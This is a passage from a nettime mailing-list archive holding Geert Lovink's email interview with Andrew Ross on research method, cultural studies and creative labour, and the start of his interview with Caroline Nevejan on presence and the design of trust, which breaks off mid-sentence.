                "content": "http://www.networkcultures.org/geert/interview-with-andrew-ross/\n\nOrganic Intellectual Work\nInterview with Andrew Ross\n\nBy Geert Lovink\n\nDoes cultural studies scholar and labour activist Andrew Ross need to \nbe introduced? I became familiar with the work of U.S. American \nresearcher of Scottish decent in the early nineties when his co-edited \nanthology Techno-Cultureand books No Respectand Strange Weatherreached \nwide audiences. His highly readable books deal with a range of topics \nfrom sweatshop labour, the creative office culture of the dotcoms, \nmiddle class utopias of the Disney town Celebration to China's economic \nculture as a global player. For outsiders, Andrew Ross might embody the \n'celebrity' persona of academia, but he is someone I experienced as \nmodest and open, a prolific writer who is very much on top of the \nissues. To me Andrew Ross has been a role model of how to reconcile the \nworld of High Theory with the down-to-earth work within social \nmovements, a tension that I have been struggling with since the late \nseventies. Reading Andrew Ross makes you wonder why it is so hard to be \nan organic intellectual after all, as Antonio Gramsci once described \nit, a figure which is light-years away from the abstract universes of \nthe Italian autonomous theorists such as Negri, Virno and Lazzarato. No \nesoteric knowledge of Spinoza, Tarde or Deleuze is necessary to enjoy \nRoss. We do not read about exploitation in a moralistic manner but \ninstead obtain a deeper understanding of the complex contradictions \nthat the global work force has to deal with.\n\nAustralian post-doc researcher Melissa Gregg, whose book Affective \nVoicesdeals with the history of (Anglo-Saxon) cultural studies, \nincludes a chapter about Andrew Ross. Gregg describes Ross as an \n\"intellectual arbiter between the academic politics of cultural studies \nand the activist imperatives of the progressive Left.\" His \"academic \nactivism\" describes the \"human cost of economic growth,\" thereby \ncounterbalancing the \"neglect of material labour conditions.\" Instead \nof fiddling around with concepts and terminologies, Ross describes the \n\"human face of economics\" much like Barbara Ehrenreich's investigative \njournalism, reaching into the category of airport non-fiction. The \nsuspicious attitude towards appropriate payment is the key obstacle to \nan effective labourist politics among Leftist intellectuals. In the \ncase of the no collar culture \"not only did the culture of willing \noverwork severely haemorrhage any chance of a sustainable industry, but \ninvestment in the cult of creativity disassociated no collar work from \nthe manual labour involved in producing the tools of their craft.\" In \nthe following email exchange with Andrew we focused on the topics of \nresearch methodology and style of writing, the role of ethnography, the \nquestion of creative labour and strategies of activism.\n\nGL: Suppose you were to write one of those booklets and we would \nentitle it Letter to a Young Researcher. How would you approach this? \nCould you tell us something about your method? Is it fair enough to say \nthat you moved on from General Theory to case studies? Clearly, \nstudents need to know about both, but I have the feeling that theory is \na dead end street these days and that your research methodology offers \nan alternative.\n\nAR: Since I came of age, intellectually and politically, in the 1970s, \nI was a paid-up member of the Theory Generation, dutifully \nparticipating in Lacan and Althusser reading groups, and the like. But \neven then, I was rarely comfortable with the hothouse climate around \nwhat you call General Theory. Even then, I was learning that theory \nshould be approached as simply a way of getting from A to B. It wasn't \nthe only way to get from A to B, nor was it always the best way, and it \nwas easy to get stuck en route with all your mental wheels spinning in \nthe air. Indeed, I saw some of the best minds of my generation--to \nparaphrase Allen Ginsberg--vanish down that path. I'm glad I survived, \nI've been in recovery for two decades now.\n\nWhen it comes to method--and this is what I tell my graduate \nstudents--it's more important to know what A and B are. Once you have a \ngood sense of your object and the questions you want to answer, then \nyou are in a position to choose your methods--i.e. how to get from A to \nB. In most disciplines, the method comes first, and is then applied to \nan object. For us, it's the other way around. The questions and the \ngoals determine the methods. So, how will I answer those questions? Do \nI need to do interviews, or conduct surveys? Do I need to visit sites, \nor consult archives? What kind of reading do I need to do, and what is \nthe likely audience? In the program where I teach, our students are \ntrained in more than one method--ethnography, historical inquiry, \ntextual analysis, data analysis--and are encouraged to be flexible in \ntheir application. They are much more likely to think of themselves as \ninvestigators, undertaking case-studies, rather than being motivated by \ngeneral theoretical problems.\n\nApproaching research in this manner, it's more likely that they will \nfind their own voice, or at least a voice that is uniquely theirs, \nrather than aping the consensus voice of their discipline, or whatever \ninfluential master thinker they have been weaned on. It took me several \nyears to shake off my own academic training and find a voice that I \nfelt was my own and I had to go well outside my comfort zone to achieve \nanything. So my advice to young researchers is tailored to the goal of \ngetting them to that point much earlier than I did.\n\nGL: Does your move from Cultural Studies to a new form of labour \nsociology also imply a critique of the way in which cultural studies \nhas been bogged down in studying popular culture and mainstream \nproducts and services? In my experience 'cultural studies' has not \nglobalized but can increasingly be identified as an Ango-Saxon project \nthat has not broadened its reference system outside of the UK, USA and \nAustralia. It may have adopted 'French theory' but in France itself \ncultural studies is nowhere to be seen. Now, there is nothing wrong \nwith cultural specificity and the political heritage of research \nschools ... knowledge is always embedded in particular generations and \nexperiences of a small group of players. I know there are zillion \ndebates about the 'future of cultural studies' but could you \nnonetheless say something about this?\n\nAR: To answer that question, I'd have to touch on a debate about why \nlabour was not more central to cultural studies during its heyday. \nIndeed, some would say that a conscious effort was made to sideline \nattention to labour. This is quite understandable if you consider how \nthe British Left, for example, was dominated by a labourist mentality \nin the 1960s and 1970s. It was necessary to get out from under the \nheavy weight of that mindset to appreciate that other things mattered \npolitically. I myself grew up in the industrial belt of Scotland, where \nlabourism was the air that you breathed, and so the discovery of \ncultural politics--the fact that you could even think about culture \npolitically--came as a revelation. Naturally, there was a certain \ndegree of overcompensation involved in the cultural turn. Folks just \nkept going further and further from the labour fold, arguing that this \nor that sector of daily life \"mattered\" in ever more ingenious \npermutations of the feminist axiom that \"the personal is the \npolitical.\" The result was that the field of political economy was \nabandoned, to some extent, to the hardliners, who no longer had to \nlisten to the feminists, queers, cultural radicals, and ethnic identity \nadvocates, and polarization set in between the cultural justice and the \neconomic justice camps. The legacy of that split is still with \nus--indeed it has been played out in every US election since the early \n1990s. There's no doubt it has hampered the Left, but the division has \nbeen exploited much more adroitly by the Right.\n\nWhile you may be right about the limited geographical footprint of \nCultural Studies as an academic discipline, I don't think these larger \npolitical conflicts are confined to the Anglophone countries. They are \nexpressed in different ways in other societies--usually through the \nrepressive filter of religion or statism or ethnic sectarianism--and \nare sometimes harder to discern, but they are no less relevant. \n\n\n\nIn all of the hand wringing about polarization, what's neglected is the \nwork that was done--it was never really abandoned--and is still being \ndone to reconnect these two wings of social justice. I suppose that's \nwhere I would place my own energies from the late 80s onwards, in areas \nof research--science and technology, and environmentalism in books like \nStrange Weather, The Chicago Gangster Theory of Life, and Real \nLove--that were not at all central at the time to the main currents of \ncultural studies. By the mid-1990s, I was being drawn into labour and \nurban research, both of which have dictated the bulk of my research and \nactivism for the last decade or so. However, I'm not sure I would have \ngone in that direction if it hadn't been for cultural studies. For \nexample, it was my interest in fashion consumption that took me into \nthe anti-sweatshop movement and led to the publication of No Sweatand \nLow Pay, High Profile, and it was an interest in ecological politics \nthat motivated my field work on the New Urbanist movement in The \nCelebration Chronicles.\n\nOne area where all these currents re-converge is in the emergent policy \nabout the \"creative economy.\" Here is a sector that has received a \nmassive amount of attention from government agencies and national \neconomic managers desperate for a development paradigm that will allow \nthem to compete or play catch-up in the high-skill, knowledge economy. \nAnd it's all about cultural workers, once seen as completely marginal \nto the forces of production and now increasingly central as a source of \npotential economic value. Now there does exist an extensive body of \ncultural studies scholarship, initiated by Tony Bennett in the \nmid-1990s, that engaged directly with cultural policy-making, but it's \nonly recently that this tendency has moved centre-stage, and will, I \npredict, occupy more and more of the field. In many ways, it's an angle \nthat was missing from Raymond Williams' distinction between two \nconceptions of culture: one based on the high/low value hierarchy, and \nthe other, more anthropological understanding of culture as \"way of \nlife.\" Neither made much room for culture as a livelihood, or cultural \nwork as labour. In Williams's day, it would have taken a remarkable act \nof social foresight to imagine that artists, writers, and designers \nwould come to be seen, in the governmental imagination, as model \nentrepreneurs for the new economy, and yet here we are.\n\nLet me give you an instructive example. Back in the mid-1990s, after \nthe leadership of the AFL-CIO (American Federation of Labor and \nCongress of Industrial Organizations)changed hands, I became involved \nin a organization called Scholars, Artists, and Writers for Social \nJustice (SAWSJ). It was founded, mostly by labour historians, in \nrecognition of the hope that the US labour's movement's era of \ncomplicity in the Cold War was over, and that a rapprochement with \nintellectuals was now possible. Most of the activities of SAWSJ were \ndedicated to supporting the industrial and service unions. This was \nentirely laudable, but it often meant ignoring the labour issues in our \nown backyard of the knowledge economies. Even at that time, it was \ndifficult to get an audience for the view that we were not only in \ndenial about this, and that we should be alerting the labour movement \nto the opportunities and dangers posed by the burgeoning \nculture/creative/knowledge industries (I wrote an essay \"The Mental \nLabour Problem,\" which was intended to address this denial). Not long \nafter, managers and ideologues of the New Economy dramatically reshaped \nperceptions about how value could be generated, and the labour movement \nwas left sucking dust. New media employees helped to glamorize the 24/7 \nworkweek, design, art, architecture, and custom craft were embraced as \nengines for boosting property values in the real estate boom, the \namateur (MyCreativity) ethic became the basis for a whole new discount \nmode of production that exploited the cult of attention as a cheap \nlabour supply, and much, much, more along these lines.\n\nThe only development along these lines that has really attracted trade \nunions is in academic organizing, and largely because it offers a \nfairly traditional opportunity to recruit new members. For sure, there \nare individual unionists, mostly in sectors like telecommunications, \nwho are keeping up with changes in the mode of production, but the \nlabour movement, as a whole, and not just in the US, may have \nrelinquished the short-term opportunity to fight over the terms of the \nknowledge economy. Knowledge and cultural workers are accustomed to \nthink of themselves as in the vanguard, and it will probably take a \ngeneration of \"proletarianization\" and another big recession to \npersuade them that collective organizing is in their long-term \ninterest. But that's no reason not to build a movement of ideas and \nactions that will be serviceable, when that moment comes.\n\nGL: I read your Low Pay, High Profileas a search for new strategies in \nactivism. In your 'academic activism' you leave behind the \ndisempowering reform-or-revolution choice and try to imagine, being \npart of a movement, where the 'global push for fair labour' can be \ntaken. Here in Amsterdam I have seen how the Clean Clothes Campaign is \ndoing this. Is it fair to say that you practice a form of 'radical \npragmatism'? Is there a politics of immersion? Many of us fear deep \nengagement and try to keep the appropriation machines at a safe \ndistance. How do you gain the confidence to survive Disney's \nCelebration, the dotcom madness, and Chinese IT culture?\n\nAR: \"Intellectual activism\" is a term we use among our students. We \nvastly prefer it to \"public intellectual\" because there are very few \nslots available on the public media spectrum at any one time, and they \nare usually reserved for gatekeepers or single-issue political \nadvocates. For sure, activists and intellectuals function in a \ndifferent kind of temporality. The activist needs something to happen \ntomorrow, the intellectual needs a slower germination of ideas. But you \ncan't have movement of action without a movement of ideas, and the \nchallenge really is to try to synchronize your thought with what's \nhappening on the ground. If you work closely, as a scholar, with a \njustice movement, then requests will invariably be made to provide \ntailor-made research to further the activist cause. In some instances, \nthat will be straightforward, in others it won't be so easy to provide \nbecause activists generally don't want complexity, they need black and \nwhite, and critical scholars are not trained to think in black and \nwhite. I have certainly encountered this dilemma in my own \nlabour-oriented work, in the anti-sweatshop movement, for example, \nwhere, at times it seems that the only desirable research is that which \ncorroborates the existence of corporate atrocities. But I didn't \nexperience it as a fear of \"deep engagement\" as you suggest, nor as a \nfear of indulging in intellectual dishonesty.\n\nTake the work I did in the China field as an example. I had been a \nChina-watcher for a long time, but was clearly not a sinologist. \nNonetheless, I figured that I may be able to produce some useful \nresearch (that a sinologist, bound by disciplinary convention, perhaps \ncould not) by going there. So, too, since the AFL-CIO refuses to have \nany official relationship with the China labour federation, there was a \nreal research gap for labour scholars and educators to fill. I was \nfamiliar with all the literature on the labour-intensive export \nfactories of South China, but I could find very little about the \nYangtze Delta workplaces, where the lion's share of high-tech FDI was \nbeginning to flow, and most of it higher up the technology curve than \nin South China. At that time, there was a wave of anxiety about the \noutsourcing of high-wage, high-skill jobs to China and India, but very \nlittle was known about the conditions, aspirations, and opinions of the \nnew offshore workforce employees. So I enrolled in Mandarin classes for \na year to give me some language mobility and took my family off to \nShanghai to see what I could find. A trained sinologist would probably \nnot have started out interviewing where I did--at the American Chamber \nof Commerce, in the belly of the beast, as it were--but in fact the \ncontacts I made there helped open doors to many of the factory and \noffice workplaces where I did my research. Nor do I think that a \nsinologist would have followed some of the leads I did since they were \noften about explicitly transnational flows of capital, knowledge, \ntechnology, personnel, and customs.\n\nIn fact, in the year's worth of field work I did in the Yangtze Delta \nindustrial parks, I didn't come across a single researcher doing \nanything in any of the areas I myself was pursuing--documenting the \nregional labour market, workplace conditions, the nature and character \nof the investments, the rate of technology transfer and knowledge \ntransfer into the industrial parks, the cultural conflicts between \nyoung Chinese engineers and their foreign managers, etc. Now this is \nthe single biggest regional economy in China, and the most high-tech, \nso it was astonishing to find no one else in the field. Even the \nforeign journalists I got to know there rarely left their offices in \nShanghai--a convention, no doubt, that goes back to pre-Liberation \ndays.\n\nSo, to get back to the gist of your question, I think the \"confidence\" \nyou refer to has more to do with not being bound by the conventions of \na discipline or a profession that tends to dictate the conduct of \nscholars, activist, and journalists much more than we imagine. I became \nan agnostic in that regard a long time ago. The downside of this is \nthat you have no idea who your audience will be, or that you will \nindeed have an audience. For example, the most detailed early review of \nmy China book was by George Gilder, in his newsletter for high-tech \ninvestors. He mined it for information about the performance of Chinese \ntech companies that would be especially useful to his readers. Not \nexactly the kind of audience I had anticipated!\n\nGL: How important is storytelling in your work and is it something that \nwe, cultural theorists, can learn? I find this skill more difficult to \npractice, and teach, compared to the relatively easy act of summarizing \nthe theory of canon of the day, now Agamben and Badiou, in the past \nDerrida and Foucault, and Althusser and Gramsci in the early 1980s. I \nsee your recent work in the critical anthropology tradition. Action \nresearch also had a particular mix of observation and active \nparticipation. Is ethnography something we should look into or do we \nthen again run the risk of turning it into a theory religion?\n\nAR: You are right, it is not easy to teach, and largely because it is \nso experiential. I was trained first as a textual analyst, and then as \na theorist, so I developed skills as a close reader and a conceptual \nthinker. What this meant was that I was a pretty bad listener. I grew \nup in a storytelling, working class culture in Scotland, but my \nacademic training had taught me to distrust all of that, in fact, to \ndistrust language tout court. Over time, and as I developed my own \nethnographic techniques, I had to re-learn how to listen to other \npeople's stories, and to be accountable to these people when I used \ntheir stories for my own purposes. So listening was important. As for \ntelling the stories, the genre of investigative journalism has probably \nbeen as useful to me as critical anthropology. When anthropologists are \nin the field, they are often competing with journalists (though not on \ndeadlines) but they rarely acknowledge journalistic narrative. In the \nfull-length ethnographies I have done--in new media companies, in \nCelebration, and in China--I was competing directly with other \njournalists for stories insofar as my informants were often used to \ntalking to journalists. Being a scholar was an advantage in those \nsituations because people trust you more with their stories and \nconfidence.\n\nAs for ethnography becoming a religion, I don't see that happening. To \ngo back to what I said at the outset, it's a method for getting from A \nto B, but it's not the only way, nor is it always the best way. You \nhave to choose your methods based on your goals. These days, \nethnography feels more honest to me than the kind of armchair criticism \nthat I started out doing in the 1980s, but I still do certain kinds of \nwriting that don't entail getting out of my seat.\n\nGL: Activist campaigning is becoming more and more associated with \n'tactical media', social networking and so on. Is this justified? Do \nyou think that a better understanding of Web 2.0 and new media would \nalter activism as is often claimed? As you know my work is associated \nwith the 'tactical media' term but I have often made clear that (new) \nmedia cannot create social movements out of nothing. A more effective \nway of using cell phones and the Net is not in itself a guarantee that \nthe real existing discontent in global capitalism will flip into \norganized resistance or even protest.\n\n\n\nAR: I agree, these days it is necessary but not sufficient for social \nmovements to be tech savvy. The tactics for outwitting the oppressor \nhave to be continually updated, and that is the job of movement \ntacticians, but the \"sufficient conditions\" for change haven't altered \nappreciably. You need a critical mass of popular sentiment, you need a \nsignificant fraction of elites to break with their class station and \ncross over, and you need an effective formula for capturing media \nattention. These days, most social justice movements have about six or \nseven years to make their mark before a) activists burn out or branch \noff, b) the formula exhausts its efficacy, c) the enemy coopts public \nattention. The anti-sweatshop movement was a good example; the formula \nof shaming the brand was like a narcotic for the media, \"Nike \nsweatshops\" became a household phrase, and elite guilt was \nappropriately mobilized. It took the lavishly funded efforts of \n\"corporate social responsibility\" several years to convince the public \nthat the big garment companies had somehow \"fixed\" the problem and that \nit was OK to go out and buy Gap clothing again. In the interim, I think \nwe achieved quite a lot. At the very least, the trading rules of the \nglobal economy are now contested in the public eye, rather than written \nin secret by unelected WTO officials, and consciousness-raising about \nsweatshops contributed, in no small part, to that shift in the rules of \nplay.\n\nThat said, there is one key area of activism in which tactical media \nhas become particularly important, and that is in the copyfight over \nintellectual property. The corporate rush to proprietize knowledge is \nsurely one of the biggest acts of theft in centuries, and new media \nactivists have a frontline role to play, because the tactical tools \nthey use are, more often than not, the technologies at play in the \nproperty grab. Disciplining rogue users (for the downloading of \nunauthorized content) is just the most highly publicized face of the \nmassive effort of capital-owners to administer an effective division of \nlabour within the knowledge industries. That effort increasingly \ndepends upon control over not only the authorized use of technologies, \nbut also the IP inside employee's heads. But it's not just the \nhigh-tech employees that are suspect. The new property grabbers are in \na running battle with the ever-proficient hackers of the technocratic \nfraternity, and now they have to contend with a small army of \nlegally-minded and tech-savvy advocates of the information commons.\n\nAs I see it, this contest is very much an elite \"copyfight\" between \ncapital-owner monopolists and the labour aristocracy of the digitariat \n(a dominated fraction of the dominant class, as Pierre Bourdieu once \ndescribed intellectuals) struggling to preserve and extend their \nhigh-skill interests. The history of shareware and its maturation into \nfree software/open source can be seen as the narrative of a distinctive \nclass fraction--a thwarted technocratic elite whose libertarian world \nview butts up against the established proprietary interests of \ncapital-owners. While they see their knowledge and expertise generating \nwealth, they chafe at their lack of control over the property assets. \nTheir willingness to work against the proprietary IP regime is directly \nlinked to their entrepreneurial-artisanal instincts, but, more \nimportantly, it is a power-test of their capacity to act upon the \nworld. The class traitors in their midst are engineer innovators who go \nover to the dark Gatesian side of IP monopoly enforcement. So, too, the \nmutualist ethos of the FLOSS communities is very much underpinned by \nthe confidence of members that their expertise will keep them on the \nupside of the technology curve that protects the best and brightest \nfrom proletarianization.\n\nWhat I don't see is all that much attention to those less-skilled who \nare further down the entitlement hierarchy, who are not direct \nparticipants in this power struggle, and whose prospects in the chain \nof production do not extend to the profile of the master-craftsman \nstraining at the corporate leash. They are much more distant from the \nrewards of authorship, and are less likely to feel personally \ndisrespected when IP rights are expropriated from above. So how do the \ninterests of these below-the-line workers get represented in the \ncopyfight? I'd like to see new media tacticians think more about \nsustainable income models for everyone rather than focus primarily on \nthe livelihoods of creatives or high-skill knowledge workers.\n\nGL: Surprisingly, in the new media sector, young professionals are \nearning less and less while their working conditions aren't that great \neither. This is one of the outcomes of Rosalind Gill and Daniella van \nDaemon's case study on the Amsterdam web designers. It's important here \nto add another level that sufficiently describes freedom and \nsubjectivity of the actors involved. People are passionate about the \nchallenges that new media create. In what ways could we describe such a \nparadoxical circumstance?\n\nAR: The Amsterdam study is interesting, though these results don't \nsurprise me. The labour market for new media employees was at its \nrosiest at the height of the New Economy years---there was a limited \nlabour supply, the new entrants had a monopoly on skills and applied \nknowledge, and demand for them was fierce. Under normal circumstances, \nconditions and pay scales could be expected to deteriorate from that \nhigh. But the impact of outsourcing, since 2001, has accelerated that \ndecline, if not in terms of actual jobs transferred overseas, then as a \nresult of the general climate of insecurity that has been ushered into \nwhite collar and no collar workplaces by the imminent threat of \n\"knowledge transfer.\" The house motto of Razorfish in the boom years \nused to be \"Whatever can be digital, will be.\" It was by no means easy \nto predict what came to pass all too quickly as \"whatever can be \noutsourced, will be.\" For sure, the offshore transfers started out in \ncoding and in the more routine sectors, but they moved up into design \nand web development fairly rapidly. As far as jobs in the global North \ngoes, there's no reason not to expect that the situation will soon \nresemble the garment industry, with the most specialized, custom work \nremaining onshore, perhaps along with a less formal sector of sweated \nor intern work needed for fast turnaround. Everything else will be done \noverseas.\n\nAs for on-the-job passion and enthusiasm, it's an integral part of the \njob profile, attested to through thick and thin. It was this devotion \nthat got me interested in studying new media workplaces in the first \nplace, since it's quite uncommon, in the history of modern work, to \nhear employees express this kind of zeal around their jobs. My study, \nin No-Collar, turned into an effort to describe and diagnose the \nconditions of \"self-exploitation\" that resulted. One of my informants \nput it most succinctly when she said she was given \"work that you just \ncouldn't help doing,\" and in a workplace from which the very last drops \nof alienation had been squeezed. Nowadays, every knowledge industry \nemployer recognizes the benefits of this kind of ideal employee, who is \nturned on by the challenge of risk, accustomed to sacrifice (long \nhours) in pursuit of gratification, and willing to trade his or her \nmost free time and free thoughts in return for the gifts of mobility \nand autonomy. Folks in the arts have long lived with this sacrificial \nmentality, and know a thing or two about the insecurity associated with \nit. So, too, gearheads, from the days of ham radio onwards, are \nfamiliar with the devotional cults that a machine can inspire. But \nneither cohort has been prepared for the consequences wrought by the \nrapid industrialization of their respective crafts and hobbies. The \neffort to industrialize custom creativity is a primary goal of \ncapitalist production today, right now.\n\nI suppose I would say the same of the academic sector, with the proviso \nthat academics are so fond of their siege mentality that they can only \nsee their workplaces being invaded by corporate logic or industrial \nprocess. They don't see that the traffic goes in both directions, they \nknow so little about the corporate world that they can't see how the \nmentality and customs of academic life are being transplanted into \nknowledge firms, whose research is increasingly conducted along similar \nlines. The truth of the matter is we are living through the formative \nstages of a mode of production marked by a quasi-convergence of the \nacademy and the knowledge corporation. Neither is what it used to be; \nboth are mutating into new species that share and trade many \ncharacteristics, and these changes are part and parcel of the economic \nenvironment in which they function.\n\nGL: You touched on the \"creative economy.\" As you know, we've been \ndealing with this in the MyCreativity project that my institute in \nAmsterdam co-initiated. What should the critical research in this field \nlook into? There is a call to go beyond the hype bashing and look into \nthe labour precarity issue. Still, the consensus-driven hegemony of \nbusiness consultants seems strong and uncontested. What work could be \ndone to open the field and make space for other voices and practices? \nAre there ways to obtain cultural hegemony these days?\n\nAR: That's a good question, and should be at the heart of anyone \ninterested in a sustainable job economy. It's not all that productive \nto scoff at policy initiatives that might just be capable of generating \na better deal for creative labour. As I see it, critical research ought \nto be doing what governments are not, and that is coming up with \nqualitative profiles of what a \"good\" creative job should look like, \nbased on ethnographic methods. Currently, all we have are productivity \nand GDP statistics, on the government side, and, on the other side, a \ncumulative pile of scepticism based on the well-known perils of \nprecarity that afflict creative work, dating back to the rise of \nculture markets in the late eighteenth century. I have yet to see a \n\"mapping\" of the creative sector that includes factors relating to the \nquality of work life. It wasn't that long ago, in the 1970s, in \nresponse to the so-called \"revolt against work,\" that governments \nactively championed \"quality of work life.\" Of course, corporations \ncame up with their own versions of \"innovative\" alternatives to the \nhumdrum routines of standard industrial employment, but the hunger for \nmentally challenging work in a secure workplace has undergirded and \noutlived all the management fads that followed.\n\nFor those with an appetite for a dialogue with the policy-makers, I'd \nsay that the qualitative research about good jobs is a plausible way to \ngo (and I'm talking about fully-loaded jobs, not simply work \nopportunities). It wouldn't take all that much to come up with some \nproposals for guidelines, if not outright guarantees, about income and \nsecurity, based on that kind of research. The goal would be to offer a \nsustainable alternative to the IP jackpot economy that currently drives \nthe consultants' world-view. I'm not sure if the result would be what \nyou would call cultural hegemony, but if the challenge to existing \nhegemony is going to draw on labour power in any way then it's in our \ninterest to ensure that there will be a robust employment sector there \nto provide heft and volume to these challenges. Clearly, the strategies \nfor organizing have to be re-thought in ever more ingenious ways, but \nthere are no good substitutes for organizing, as far as I can see. \nTactics like culture jamming or brand busting have their uses, and they \nhave served as appropriate tools, but you can't give up on the power of \nnumbers.\n\n(edited by Ned Rossiter)\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 11 Jul 2007 11:55:11 +0200",
                "to": "\"nettime's international court of justice\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1I8evv&#45;00089M&#45;I1 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0707/msg00023.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Organic Intellectual Work: Interview with Andrew Ross [REVISED]"
            },
            {
                "id": "00070",
                "content": "\n\nThe Politics of Presence Research\nInterview with Caroline Nevejan\nBy Geert Lovink\n\nThe Dutch cultural producer Caroline Nevejan is known for her work at\nthe Amsterdam pop temple Paradiso, as a co-founder of the Waag centre\nfor new media culture and in her manager role at HvA, the university\nfor professional education. Currently she is a member of the Dutch\nCouncil for Culture and the Arts, which advises the Minister of\nCulture. She was about to leave the Hogeschool van Amsterdam in 2004,\nintended to write her PhD, when I arrived there. The dissertation\nis ready now. In April 2007 Caroline Nevejan got her degree at the\nUniversity of Amsterdam. The title is Presence and the Design of\nTrust and can be freely downloaded at http://www.being-here.net. The\ninterview below was done to reflect on her PhD research.\n\nI must have ran into Caroline around 1980, during the turbulent riot\ndays of the Amsterdam squatters movement. Late 1981 we were both part\nof the group that kicked off the bluf! weekly, bringing together\nundogmatic factions within the new social movements of the time. For\na few months we were both in the editorial team. A few years later\nCaroline reappeared as the events producer of Paradiso. It was there,\nin August 1989, that we worked together during The Galactic Hacker\nParty, Amsterdam?s first computer hacker?s convention. I was there in\nmy capacity of ?illegal scientist?, as a member of the Adilkno group\nand Mediamatic editor, writing reports and manifestos. A year later\nI participated again in an event of a similar visionary magnitude,\nthe Seropositive Ball, which connected HIV-AIDS activists on a global\nlevel. Out of these grew the first Next Five Minutes ?tactical media?\nfestival in January 1993.\n\nKey element of these events was the spatial arrangement of the\ninteraction between the Paradiso audience and people elsewhere.\nIn conjunction with De Balie, the cultural centre next door, an\nAmsterdam style was developed in which a lot of emphasis was put to\ncreate an ?aesthetics of public debating?. Discussion was more than a\ndisagreement between key actors. It had theatrical elements in which\nthe producer took up the role of director. It was in this context\nthat new communication technology such as telephone, fax, video\nconferencing, bulletin board systems and the Internet started to play\na role. Why limit a dialogue to those who were able to gather in a\nparticular time and space when you can also involve others remotely?\n\n?Presence and the Design of Trust? is certainly an innovative and\nnon-conventional piece of research. Let?s call it singular. Caroline\ndecided to take both The Galactic Hacker Party and Seropositive Ball\nas her case studies and came up with valuable insights that contribute\nto the yet unwritten history of Amsterdam?s new media culture. The\ncentral dynamic she studied is the one between natural and mediated\npresence. Technology has altered our sense of presence. The question\nthat Caroline Nevejan poses is how networked events can produce\n?thinking actors? that play a role in building up ?crucial networks?.\nOvercoming the usual binaries between real and virtual is one, but how\ncan we build ?communities of practice? that really make a difference,\nbeyond techno-fetishism and political dogmatism? How can we overcome\nthe tendency to produce noise and tension on the line and develop a\nsense what ?vital information? is?\n\nGL: You have a broad, conceptual understanding of ?design?. Where does\nthis idea come from? People know Dutch design and architecture, but\nthat?s perhaps not what you refer to. Design, in your understanding,\nseems to be a procedure, a set of rules, not unlike project\nmanagement, which is a practice, one that is not by definition related\nto aesthetics.\n\nCN: Coming from Holland, the ?man-made? land where everything is\ndesigned and which has a remarkable design tradition of which the\nmodern aesthetics have influenced worldwide perception of design,\nhas definitely influenced my perception. I know the environment is\n?made?, I know aesthetics matter, I know different designs operate at\ndifferent scales and need different approaches to resources, project\nmanagement, distribution and protection. My personal understanding\nof design is also deeply influenced by social movements, by critical\nscience and by the specific Amsterdam evolving digital culture at\nthe end of the 1980?s and early nineties, which was a remarkable\ninspirational environment to be part of.\n\nIt was not till I entered into the Doors of Perception community\nthat I started to refer to my own practices in terms of design.\nIn the Doors of Perception large global network people have been\ndiscussing and presenting best and worst practices in the developing\nnetworked society since 1993: scientists, engineers, artists,\ngraphical designers, interaction designers, philosophers, businessman,\ninventors, computer wizards and others coming from art, grass root\norganizations as well as from small companies and large multinational\ncorporations. All were concerned to find good and profitable ways to\nproceed in this unknown and fast changing landscape. Already in the\nmid nineties the discourse in this conference changed and started\nto imply that designing ?stuff? implied designing behavior and\nexperiences of others. It became apparent from practices in business\nas well as social organizations that design is a way of looking at\nproblems and solving them.\n\nIn the fast changing landscape design methodologies appeared to\nbe capable of dealing with a large variety of input in a fast\noutput process. People realized that such an approach could be very\nuseful, also outside of the classical design realms. The evolving\nnetworked and information society and the elaborate digitalization\nof many processes had a huge impact on basic structures of many\norganizations and businesses. They needed the skills from the design\nworld to be able to deal with the complexities they were facing. In\nmy view, today, design has become a paradigm in itself. Because it\nemphasizes the ?making of things? people from different disciplines\ncan contribute and collaborate. The ?thing? to be designed brings\nperspective to the collaboration. In design a variety of languages and\nmedia is used (writing, drawing, sketching, photo?s and film etc.)\nto make mock ups, demo?s, storyboards, scheme?s etc, and the use of\nsuch ?boundary objects? facilitates the conversation between people\nwho usually have a hard time understanding each other. Nevertheless I\nargue that I think that ?design as research? or ?deep design? as Peter\nLunenfeld formulated it, has not yet developed the rigor and knowledge\nbase it needs to be able to deal with the complex issues it faces.\n\nI propose to distinguish between 2D design for space (space) and 3D\ndesign for function (space and action), 4D design for dramaturgy\n(space, time and action) and 5D design for orchestration (space, time,\naction, relations between people). When focusing on dimensions, each\nof these kinds of design has its own traditions that it can build on.\nIn the different arts and sciences basic issues around the structure\nof time and space, actions and relations between people have been\nstudied and experiences have been gathered that can be used.\n\nOriginally ?design? referred to 2D design for space as in layout and\nto 3D design for function (space and action) for creating objects and\narchitectures of all kinds. This design is inspired by the classical\n?design is art? tradition. 4D design for dramaturgy (space, time and\naction) designs sequences of action. It is used to create events,\neducational modules, computer applications or the creation of games.\nThis 4D design can build upon the rich traditions of theatre, dance,\nmusic, film, architecture and certain sports. Over the last 10\nyears we have seen the rise of 5D design for the orchestration of\nprocesses (space, time, action and the relation between people). One\nis today much more aware how infrastructures, frameworks and platforms\ninfluence how people interact. Designing user platforms, intranets\nand communities online have led to using design methodologies for\ndesigning new business processes, learning ecologies and human\ncommunities. Sometimes one can wonder whether to call this design.\nI do when design methodologies are used to tackle complexities.\nTraditions to look into are the arts in which improvisation and\nsynchronization between the artists plays a role of significance as\nwell as into the social and organizational sciences. So, yes, I guess\nI do have a conceptual understanding of design. I do argue, though,\nthat aesthetics matter.\n\nGL: How did you encounter the concept of ?trust?? Isn?t it a concept\nof business consultants who saw that their clients had a security\nproblem with their computer networks? How did this concept get\nintroduced in cultural theory and design?\n\nCN: The moment I was introduced to the existence of Internet\nimmediately raised the issue of trust. In the 1980?s networks like\nPeacenet and Greennet provided us with news, which could travel beyond\nthe censorship rules from countries like South Africa. So the Internet\nprovided ways to get around not to be trusted formal news reports and\nit generated ?trust? because the witnesses themselves could speak\nup and testify unedited. When I started to make shows in Paradiso\nI collaborated with hackers and through them I found out how the\ntechnology itself is easily manipulated, how any code can be 